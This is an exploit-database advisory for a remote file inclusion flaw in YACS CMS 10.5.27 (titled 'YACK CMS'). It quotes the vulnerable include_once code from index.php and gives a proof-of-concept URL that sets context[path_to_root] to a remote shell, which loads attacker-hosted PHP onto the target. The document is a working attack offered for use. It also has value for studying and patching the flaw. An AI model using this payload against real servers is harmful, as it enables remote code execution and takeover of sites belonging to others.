YACK CMS 10.5.27 Remote File Inclusion

`========================================================  
YACK CMS 10.5.27 Remote File Inclusion Vulnerability  
========================================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################## 1  
0 I'm eidelweiss member from Inj3ct0r Team 1  
1 ######################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Vendor: http://www.yacs.fr  
download: http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz  
Author: eidelweiss  
Contact: g1xsystem[at]windowslive.com  
  
=====================================================================  
  
-=[ vuln c0de ]=-  
  
[!] index.php  
  
// load global definitions  
if($home = getenv('YACS_HOME'))  
include_once str_replace('//', '/', $home.'/').'shared/global.php'; // <= 0  
elseif(is_readable('yacs.home') && is_callable('file_get_contents') && ($content = trim(file_get_contents('yacs.home'), " \t\n\r\0\x0B\\/.")) && is_readable($content.'/shared/global.php'))  
include_once $content.'/shared/global.php'; // <= 1  
elseif(is_readable('shared/global.php'))  
include_once 'shared/global.php';  
elseif(is_readable('yacs/shared/global.php'))  
include_once 'yacs/shared/global.php';  
else  
exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file yacs.home or configure the YACS_HOME environment variable.');  
  
// load libraries used in this script  
include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds  
include_once $context['path_to_root'].'links/links.php'; // <= 2 (i dont give fuck)  
  
  
=====================================================================  
  
-=[ P0C ]=-  
  
http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell]  
  
etc , etc , etc  
  
=====================================================================  
`